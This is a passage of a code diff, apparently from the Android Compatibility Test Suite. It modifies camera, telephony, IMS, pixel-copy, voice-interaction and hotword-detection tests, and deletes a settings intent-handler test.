+ val appOpsManager = context.getSystemService(AppOpsManager::class.java)!!
+
+ val cameraId = cameraManager!!.cameraIdList[0]
+ val config = cameraManager!!.getCameraCharacteristics(cameraId)
+ .get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
+ val outputFormat = config!!.outputFormats[0]
+ val outputSize: Size = config!!.getOutputSizes(outputFormat)[0]
+ val handlerThread = HandlerThread("CameraThread")
+ handlerThread.start()
+ val handler = Handler(handlerThread.looper)
+ val executor = Executor {
+ runnable ->
+ run {
+ handler.post(runnable)
+ }
+ }
+
+ var cameraDevice: CompletableFuture<CameraDevice> = CompletableFuture()
+
+ // Retry camera connection because external cameras are disconnected
+ // if sensor privacy is enabled (b/182204067)
+ val isExternalCamera = (cameraManager!!.getCameraCharacteristics(cameraId)
+ .get(CameraCharacteristics.LENS_FACING)
+ == CameraCharacteristics.LENS_FACING_EXTERNAL)
+ if (retryCam && isExternalCamera) {
+ cameraMaxOpenRetry = 1
+ }
+
+ val cameraDeviceCallback = object : CameraDevice.StateCallback() {
+ override fun onOpened(cD: CameraDevice) {
+ val imageReader = ImageReader.newInstance(
+ outputSize.width, outputSize.height, outputFormat, 2)
+
+ val builder = cD.createCaptureRequest(CameraDevice.TEMPLATE_RECORD)
+ builder.addTarget(imageReader.surface)
+ val captureRequest = builder.build()
+ val sessionConfiguration = SessionConfiguration(
+ SessionConfiguration.SESSION_REGULAR,
+ listOf(OutputConfiguration(imageReader.surface)),
+ executor,
+ object : CameraCaptureSession.StateCallback() {
+ override fun onConfigured(session: CameraCaptureSession) {
+ session.capture(captureRequest, null, handler)
+ appOpsManager.startOpNoThrow(AppOpsManager.OPSTR_CAMERA,
+ Process.myUid(), context.opPackageName)
+ }
+
+ override fun onConfigureFailed(session: CameraCaptureSession) {}
+ })
+
+ cD.createCaptureSession(sessionConfiguration)
+ cameraDevice.complete(cD)
+ cameraOpenRetryCount = 0
+ }
+
+ override fun onDisconnected(cD: CameraDevice) {
+ }
+
+ override fun onError(cD: CameraDevice, i: Int) {
+ // Retry once after timeout if cause is ERROR_CAMERA_DISABLED because it may
+ // be triggered if camera mute is not supported and sensor privacy is enabled
+ if (i == ERROR_CAMERA_DISABLED && cameraOpenRetryCount < cameraMaxOpenRetry) {
+ cD.close()
+ cameraOpenRetryCount++
+ cameraDevice.complete(cD)
+ handler.postDelayed({
+ openCam(context, retryCam, cameraOpenRetryCount, cameraMaxOpenRetry)
+ }, RETRY_TIMEOUT)
+ }
+ }
+ }
+
+ try {
+ cameraManager!!.openCamera(cameraId, executor, cameraDeviceCallback)
+ } catch (e: android.hardware.camera2.CameraAccessException) {
+ Log.e(TAG, "openCamera: " + e)
+ }
+
+ return Cam(cameraDevice.join(), handlerThread)
+}
+
+class Mic(val audioRecord: AudioRecord) {
+ fun close() {
+ audioRecord.stop()
+ }
+}
+
+class Cam(val cameraDevice: CameraDevice?, val thread: Thread) {
+ fun close() {
+ cameraDevice?.close()
+ thread.interrupt()
+ }
+} \ No newline at end of file
diff --git a/tests/tests/settings/src/android/settings/cts/SettingsHandlerTest.java b/tests/tests/settings/src/android/settings/cts/SettingsHandlerTest.java
deleted file mode 100644
index bc43731d571..00000000000
--- a/tests/tests/settings/src/android/settings/cts/SettingsHandlerTest.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.settings.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.net.Uri;
-import android.os.storage.StorageManager;
-import android.provider.DocumentsContract;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/** Test to make there is only default handler for settings intent. */
-@RunWith(AndroidJUnit4.class)
-public class SettingsHandlerTest {
-
- private static final String MEDIA_PROVIDER_AUTHORITY = "com.android.providers.media.documents";
- private static final String RESOLVER_ACTIVITY_PACKAGE_NAME = "android";
- private static final String RESOLVER_ACTIVITY_NAME =
- "com.android.internal.app.ResolverActivity";
-
- PackageManager mPackageManager =
- InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
-
- @Test
- public void oneDefaultHandlerForVideoRoot() throws Exception {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "videos_root");
- intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM);
-
- assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue();
- }
-
- @Test
- public void oneDefaultHandlerForImageRoot() throws Exception {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "images_root");
- intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM);
-
- assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue();
- }
-
- @Test
- public void oneDefaultHandlerForAudioRoot() throws Exception {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "audio_root");
- intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM);
-
- assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue();
- }
-
- @Test
- public void oneDefaultHandlerForDocumentRoot() throws Exception {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- Uri uri = DocumentsContract.buildRootUri(MEDIA_PROVIDER_AUTHORITY, "documents_root");
- intent.setDataAndType(uri, DocumentsContract.Root.MIME_TYPE_ITEM);
-
- assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue();
- }
-
- @Test
- public void oneDefaultHandlerForManageStorage() throws Exception {
- Intent intent = new Intent(StorageManager.ACTION_MANAGE_STORAGE);
-
- assertThat(hasAtMostOneDefaultHandlerForIntent(intent)).isTrue();
- }
-
- private boolean hasAtMostOneDefaultHandlerForIntent(Intent intent) {
- ResolveInfo resolveInfo = mPackageManager.resolveActivity(intent, /* flags= */ 0);
-
- if (resolveInfo == null) {
- // Return true if no handlers can handle the intent, meaning that the specific platform
- // does need to handle the intent.
- return true;
- }
-
- String packageName = resolveInfo.activityInfo.packageName;
- String activityName = resolveInfo.activityInfo.name;
- // If there are more than one handlers with no preferences set, the intent will resolve
- // to com.android.internal.app.ResolverActivity.
- return !packageName.equals(RESOLVER_ACTIVITY_PACKAGE_NAME) || !activityName.equals(
- RESOLVER_ACTIVITY_NAME);
- }
-}
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
index 82be3e2f6df..7e0bdcce540 100644
--- a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
@@ -36,6 +36,7 @@ import androidx.test.ext.junit.runners.AndroidJUnit4
import com.android.compatibility.common.util.SystemUtil
import com.android.compatibility.common.util.ThrowingSupplier
import org.junit.Assume
+import org.junit.Ignore
import org.junit.Test
import org.junit.runner.RunWith
import kotlin.test.assertTrue
@@ -73,6 +74,7 @@ class BasicPipTests : TvTestBase() {
/** Ensure an app can be launched into pip mode from the screensaver state. */
@Test
+ @Ignore("b/163116693")
fun openPip_afterScreenSaver() {
runWithDreamManager { dreamManager ->
dreamManager.dream()
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
index b8eb8bfcd8a..53b6a502a67 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
+++ b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
@@ -21,49 +21,42 @@ import static org.junit.Assert.assertThat;
import android.app.Activity;
import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
import android.content.ComponentName;
-import android.content.Context;
import android.content.Intent;
-import android.content.IntentFilter;
import android.os.Bundle;
import android.os.RemoteCallback;
import android.telephony.SmsManager;
import android.util.Log;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
public class MainActivity extends Activity {
private static final String SMS_RETRIEVER_ACTION = "CTS_SMS_RETRIEVER_ACTION";
+ private static String sToken;
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- Intent intent = new Intent("android.telephony.cts.action.SMS_RETRIEVED")
- .setComponent(new ComponentName(
- "android.telephony.cts.smsretriever",
- "android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver"));
- PendingIntent pIntent = PendingIntent.getBroadcast(
- getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
- String token = null;
- try {
- token = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo(
- "testprefix1,testprefix2", pIntent);
- } catch (Exception e) {
- Log.w("MainActivity", "received Exception e:" + e);
- }
-
if (getIntent().getAction() == null) {
+ Intent intent = new Intent("android.telephony.cts.action.SMS_RETRIEVED")
+ .setComponent(new ComponentName(
+ getApplicationContext(),
+ SmsRetrieverBroadcastReceiver.class));
+ PendingIntent pIntent = PendingIntent.getBroadcast(getApplicationContext(), 0, intent,
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
+ try {
+ sToken = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo(
+ "testprefix1,testprefix2", pIntent);
+ } catch (Exception e) {
+ Log.w("MainActivity", "received Exception e:" + e);
+ }
+
Bundle result = new Bundle();
result.putString("class", getClass().getName());
- result.putString("token", token);
+ result.putString("token", sToken);
sendResult(result);
} else {
// Launched by broadcast receiver
assertThat(getIntent().getStringExtra("message"),
- equalTo("testprefix1This is a test message" + token));
+ equalTo("testprefix1This is a test message" + sToken));
Intent bIntent = new Intent(SMS_RETRIEVER_ACTION);
sendBroadcast(bIntent);
finish();
@@ -73,6 +66,4 @@ public class MainActivity extends Activity {
public void sendResult(Bundle result) {
getIntent().<RemoteCallback>getParcelableExtra("callback").sendResult(result);
}
-
-
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
index 3d03392f8ba..5c9d8b9bfa2 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
@@ -996,6 +996,8 @@ public class PhoneStateListenerTest {
InstrumentationRegistry.getInstrumentation(), TEST_EMERGENCY_NUMBER);
}
+ // Disable suppressing blocking.
+ TelephonyUtils.endBlockSuppression(InstrumentationRegistry.getInstrumentation());
}
@Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
index 85344408642..97048133cd2 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
@@ -1041,6 +1041,9 @@ public class TelephonyCallbackTest {
// Test unregister
unRegisterTelephonyCallback(mOnOutgoingSmsEmergencyNumberChanged == null,
mOutgoingEmergencySmsCallback);
+
+ // Disable suppressing blocking.
+ TelephonyUtils.endBlockSuppression(InstrumentationRegistry.getInstrumentation());
}
private ActiveDataSubscriptionIdListener mActiveDataSubscriptionIdCallback;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 11e5979402e..10c7a83d347 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -45,6 +45,7 @@ import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
+import android.content.res.Resources;
import android.net.ConnectivityManager;
import android.net.wifi.WifiManager;
import android.os.AsyncTask;
@@ -1451,9 +1452,11 @@ public class TelephonyManagerTest {
return;
}
boolean is5gStandalone = getContext().getResources().getBoolean(
- com.android.internal.R.bool.config_telephony5gStandalone);
+ Resources.getSystem().getIdentifier("config_telephony5gStandalone", "bool",
+ "android"));
boolean is5gNonStandalone = getContext().getResources().getBoolean(
- com.android.internal.R.bool.config_telephony5gNonStandalone);
+ Resources.getSystem().getIdentifier("config_telephony5gNonStandalone", "bool",
+ "android"));
int[] deviceNrCapabilities = new int[0];
if (is5gStandalone || is5gNonStandalone) {
List<Integer> list = new ArrayList<>();
@@ -3558,15 +3561,15 @@ public class TelephonyManagerTest {
}
}
- private void disableNrDualConnectivity() {
+ private int disableNrDualConnectivity() {
if (!ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.isRadioInterfaceCapabilitySupported(
TelephonyManager
.CAPABILITY_NR_DUAL_CONNECTIVITY_CONFIGURATION_AVAILABLE))) {
- return;
+ return TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED;
}
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ int result = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager,
(tm) -> tm.setNrDualConnectivityState(
TelephonyManager.NR_DUAL_CONNECTIVITY_DISABLE));
@@ -3575,9 +3578,12 @@ public class TelephonyManagerTest {
ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
// Only verify the result for supported devices on IRadio 1.6+
- if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+ if (mRadioVersion >= RADIO_HAL_VERSION_1_6
+ && result != TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED) {
assertFalse(isNrDualConnectivityEnabled);
}
+
+ return result;
}
@Test
@@ -3596,14 +3602,23 @@ public class TelephonyManagerTest {
boolean isInitiallyEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
boolean isNrDualConnectivityEnabled;
+ int result;
if (isInitiallyEnabled) {
- disableNrDualConnectivity();
+ result = disableNrDualConnectivity();
+ if (result == TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED) {
+ return;
+ }
}
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ result = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager,
(tm) -> tm.setNrDualConnectivityState(
TelephonyManager.NR_DUAL_CONNECTIVITY_ENABLE));
+
+ if (result == TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED) {
+ return;
+ }
+
isNrDualConnectivityEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
// Only verify the result for supported devices on IRadio 1.6+
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index e313886cfb2..de179ea8ab2 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -393,6 +393,9 @@ public class ImsServiceTest {
TestImsService.LATCH_CREATE_MMTEL);
assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
sServiceConnector.getCarrierService().getMmTelFeature());
+ // Wait for the framework to set the capabilities on the ImsService
+ sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_MMTEL_CAP_SET);
}
@Test
@@ -446,6 +449,10 @@ public class ImsServiceTest {
// createMmTelFeature should be called.
assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
TestImsService.LATCH_CREATE_MMTEL));
+
+ // Wait for the framework to set the capabilities on the ImsService
+ sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_MMTEL_CAP_SET);
}
@Test
@@ -461,6 +468,9 @@ public class ImsServiceTest {
// Framework did not call it.
assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
TestImsService.LATCH_CREATE_MMTEL));
+ // Wait for the framework to set the capabilities on the ImsService
+ sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_MMTEL_CAP_SET);
}
@Test
@@ -477,6 +487,9 @@ public class ImsServiceTest {
// Framework did not call it.
assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
TestImsService.LATCH_CREATE_MMTEL));
+ // Wait for the framework to set the capabilities on the ImsService
+ sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_MMTEL_CAP_SET);
}
@Test
diff --git a/tests/tests/uirendering/res/layout/simple_shadow_layout.xml b/tests/tests/uirendering/res/layout/simple_shadow_layout.xml
index 042c2a9e1d9..a3f97c80dd2 100644
--- a/tests/tests/uirendering/res/layout/simple_shadow_layout.xml
+++ b/tests/tests/uirendering/res/layout/simple_shadow_layout.xml
@@ -22,6 +22,6 @@
android:layout_height="40px"
android:translationX="25px"
android:translationY="25px"
- android:elevation="10dp"
+ android:elevation="20px"
android:background="#fff" />
-</FrameLayout> \ No newline at end of file
+</FrameLayout>
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
index f9eaa008e3f..fd77a14ae67 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
@@ -77,8 +77,8 @@ public class ASurfaceControlBackPressureTest {
}
}
- private static final int DEFAULT_LAYOUT_WIDTH = 100;
- private static final int DEFAULT_LAYOUT_HEIGHT = 100;
+ private static final int DEFAULT_LAYOUT_WIDTH = 50;
+ private static final int DEFAULT_LAYOUT_HEIGHT = 50;
@Rule
public ActivityTestRule<CapturedActivity> mActivityRule =
@@ -238,7 +238,7 @@ public class ASurfaceControlBackPressureTest {
MultiFramePixelChecker PixelChecker = new MultiFramePixelChecker(colors) {
@Override
public boolean checkPixels(int pixelCount, int width, int height) {
- return pixelCount > 9000 && pixelCount < 11000;
+ return pixelCount > 2000 && pixelCount < 3000;
}
};
@@ -270,7 +270,7 @@ public class ASurfaceControlBackPressureTest {
MultiFramePixelChecker PixelChecker = new MultiFramePixelChecker(colors) {
@Override
public boolean checkPixels(int pixelCount, int width, int height) {
- return pixelCount > 9000 && pixelCount < 11000;
+ return pixelCount > 2000 && pixelCount < 3000;
}
};
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 502170d621f..8a1f853980d 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -73,6 +73,7 @@ import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
@MediumTest
@RunWith(AndroidJUnit4.class)
@@ -894,31 +895,29 @@ public class PixelCopyTest {
private void assertBitmapQuadColor(Bitmap bitmap, int topLeft, int topRight,
int bottomLeft, int bottomRight, int threshold) {
- try {
- // Just quickly sample 4 pixels in the various regions.
- assertTrue("Top left", pixelsAreSame(topLeft,
- getPixelFloatPos(bitmap, .25f, .25f), threshold));
- assertTrue("Top right", pixelsAreSame(topRight,
- getPixelFloatPos(bitmap, .75f, .25f), threshold));
- assertTrue("Bottom left", pixelsAreSame(bottomLeft,
- getPixelFloatPos(bitmap, .25f, .75f), threshold));
- assertTrue("Bottom right", pixelsAreSame(bottomRight,
- getPixelFloatPos(bitmap, .75f, .75f), threshold));
-
- float below = .45f;
- float above = .55f;
- assertTrue("Top left II", pixelsAreSame(topLeft,
- getPixelFloatPos(bitmap, below, below), threshold));
- assertTrue("Top right II", pixelsAreSame(topRight,
- getPixelFloatPos(bitmap, above, below), threshold));
- assertTrue("Bottom left II", pixelsAreSame(bottomLeft,
- getPixelFloatPos(bitmap, below, above), threshold));
- assertTrue("Bottom right II", pixelsAreSame(bottomRight,
- getPixelFloatPos(bitmap, above, above), threshold));
- } catch (AssertionError err) {
- BitmapDumper.dumpBitmap(bitmap, mTestName.getMethodName(), "PixelCopyTest");
- throw err;
- }
+ Function<Float, Integer> getX = (Float x) -> (int) (bitmap.getWidth() * x);
+ Function<Float, Integer> getY = (Float y) -> (int) (bitmap.getHeight() * y);
+
+ // Just quickly sample 4 pixels in the various regions.
+ assertBitmapColor("Top left", bitmap, topLeft,
+ getX.apply(.25f), getY.apply(.25f), threshold);
+ assertBitmapColor("Top right", bitmap, topRight,
+ getX.apply(.75f), getY.apply(.25f), threshold);
+ assertBitmapColor("Bottom left", bitmap, bottomLeft,
+ getX.apply(.25f), getY.apply(.75f), threshold);
+ assertBitmapColor("Bottom right", bitmap, bottomRight,
+ getX.apply(.75f), getY.apply(.75f), threshold);
+
+ float below = .4f;
+ float above = .6f;
+ assertBitmapColor("Top left II", bitmap, topLeft,
+ getX.apply(below), getY.apply(below), threshold);
+ assertBitmapColor("Top right II", bitmap, topRight,
+ getX.apply(above), getY.apply(below), threshold);
+ assertBitmapColor("Bottom left II", bitmap, bottomLeft,
+ getX.apply(below), getY.apply(above), threshold);
+ assertBitmapColor("Bottom right II", bitmap, bottomRight,
+ getX.apply(above), getY.apply(above), threshold);
}
private void assertBitmapEdgeColor(Bitmap bitmap, int edgeColor) {
@@ -941,7 +940,7 @@ public class PixelCopyTest {
bitmap.getWidth() - 3, bitmap.getHeight() / 2);
}
- private boolean pixelsAreSame(int ideal, int given, int threshold) {
+ private static boolean pixelsAreSame(int ideal, int given, int threshold) {
int error = Math.abs(Color.red(ideal) - Color.red(given));
error += Math.abs(Color.green(ideal) - Color.green(given));
error += Math.abs(Color.blue(ideal) - Color.blue(given));
@@ -954,8 +953,13 @@ public class PixelCopyTest {
}
private void assertBitmapColor(String debug, Bitmap bitmap, int color, int x, int y) {
+ assertBitmapColor(debug, bitmap, color, x, y, 10);
+ }
+
+ private void assertBitmapColor(String debug, Bitmap bitmap, int color, int x, int y,
+ int threshold) {
int pixel = bitmap.getPixel(x, y);
- if (!pixelsAreSame(color, pixel, 10)) {
+ if (!pixelsAreSame(color, pixel, threshold)) {
fail(bitmap, debug + "; expected=" + Integer.toHexString(color) + ", actual="
+ Integer.toHexString(pixel));
}
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 0362b1ae02d..44354224ce1 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -268,7 +268,7 @@ public class CapturedActivity extends Activity {
Rect boundsToCheck =
animationTestCase.getBoundsToCheck(findViewById(android.R.id.content));
- if (boundsToCheck.width() < 90 || boundsToCheck.height() < 90) {
+ if (boundsToCheck.width() < 40 || boundsToCheck.height() < 40) {
fail("capture bounds too small to be a fullscreen activity: " + boundsToCheck);
}
diff --git a/tests/tests/voiceinteraction/service/AndroidManifest.xml b/tests/tests/voiceinteraction/service/AndroidManifest.xml
index 087a8334ab5..7cb18b9bc6a 100644
--- a/tests/tests/voiceinteraction/service/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/service/AndroidManifest.xml
@@ -57,6 +57,7 @@
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.DEFAULT" />
+ <action android:name="android.intent.action.ASSIST"/>
</intent-filter>
</activity>
<service android:name=".MainInteractionSessionService"
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
index d63dc3dcefb..759876cd409 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
@@ -88,6 +88,7 @@ public class MainHotwordDetectionService extends HotwordDetectionService {
public void onCreate() {
super.onCreate();
mHandler = Handler.createAsync(Looper.getMainLooper());
+ Log.d(TAG, "onCreate");
}
@Override
@@ -209,6 +210,7 @@ public class MainHotwordDetectionService extends HotwordDetectionService {
@Override
public void onStopDetection() {
super.onStopDetection();
+ Log.d(TAG, "onStopDetection");
synchronized (mLock) {
mHandler.removeCallbacks(mDetectionJob);
mDetectionJob = null;
@@ -225,6 +227,18 @@ public class MainHotwordDetectionService extends HotwordDetectionService {
super.onUpdateState(options, sharedMemory, callbackTimeoutMillis, statusCallback);
Log.d(TAG, "onUpdateState");
+ // Reset mDetectionJob and mStopDetectionCalled when service is initializing.
+ synchronized (mLock) {
+ if (statusCallback != null) {
+ if (mDetectionJob != null) {
+ Log.d(TAG, "onUpdateState mDetectionJob is not null");
+ mHandler.removeCallbacks(mDetectionJob);
+ mDetectionJob = null;
+ }
+ mStopDetectionCalled = false;
+ }
+ }
+
if (options != null) {
if (options.getInt(Utils.KEY_TEST_SCENARIO, -1)
== Utils.HOTWORD_DETECTION_SERVICE_ON_UPDATE_STATE_CRASH) {
@@ -316,6 +330,7 @@ public class MainHotwordDetectionService extends HotwordDetectionService {
return true;
}
}
+ Log.d(TAG, "All data are zero");
return false;
} finally {
record.release();
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
index dbc5a4f5ef2..d25632a3a24 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
@@ -273,6 +273,13 @@ public final class HotwordDetectionServiceBasicTest
testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_PROCESS_DIED_TEST,
Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
Utils.HOTWORD_DETECTION_SERVICE_GET_ERROR);
+
+ // ActivityManager will schedule a timer to restart the HotwordDetectionService due to
+ // we crash the service in this test case. It may impact the other test cases when
+ // ActivityManager restarts the HotwordDetectionService again. Add the sleep time to wait
+ // ActivityManager to restart the HotwordDetectionService, so that the service can be
+ // destroyed after finishing this test case.
+ Thread.sleep(TIMEOUT_MS);
}
private void testHotwordDetection(int testType, String expectedIntent, int expectedResult) {
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java
index 192e97fa384..e0b22baaf7c 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java
@@ -33,6 +33,8 @@ import android.util.Log;
import androidx.test.core.app.ApplicationProvider;
import androidx.test.ext.junit.runners.AndroidJUnit4;
+import com.android.compatibility.common.util.PollingCheck;
+
import org.junit.After;
import org.junit.Before;
import org.junit.BeforeClass;
@@ -40,6 +42,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.List;
+import java.util.concurrent.Callable;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.TimeUnit;
import java.util.function.Consumer;
@@ -109,6 +112,13 @@ public class VoiceInteractionRoleTest {
}
assertThat(getAssistRoleHolders()).containsExactly(packageName);
+ Callable<Boolean> condition = hasRecognition
+ ? () -> !TextUtils.isEmpty(Settings.Secure.getString(sContext.getContentResolver(),
+ Settings.Secure.VOICE_INTERACTION_SERVICE))
+ : () -> "".equals(Settings.Secure.getString(sContext.getContentResolver(),
+ Settings.Secure.VOICE_INTERACTION_SERVICE));
+ PollingCheck.check("Make sure that Settings VOICE_INTERACTION_SERVICE "
+ + "becomes available.", 500, condition);
final String curVoiceInteractionComponentName = Settings.Secure.getString(
sContext.getContentResolver(),
Settings.Secure.VOICE_INTERACTION_SERVICE);
diff --git a/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java b/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java
index d2a5f8264e2..293ff1dfe5e 100644
--- a/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java
+++ b/tests/tests/widget/app/src/android/widget/cts/app/TranslucentActivity.java
@@ -18,10 +18,7 @@ package android.widget.cts.app;
import android.app.AlertDialog;
import android.app.Dialog;
-import android.content.BroadcastReceiver;
-import android.content.Context;
import android.content.Intent;
-import android.content.IntentFilter;
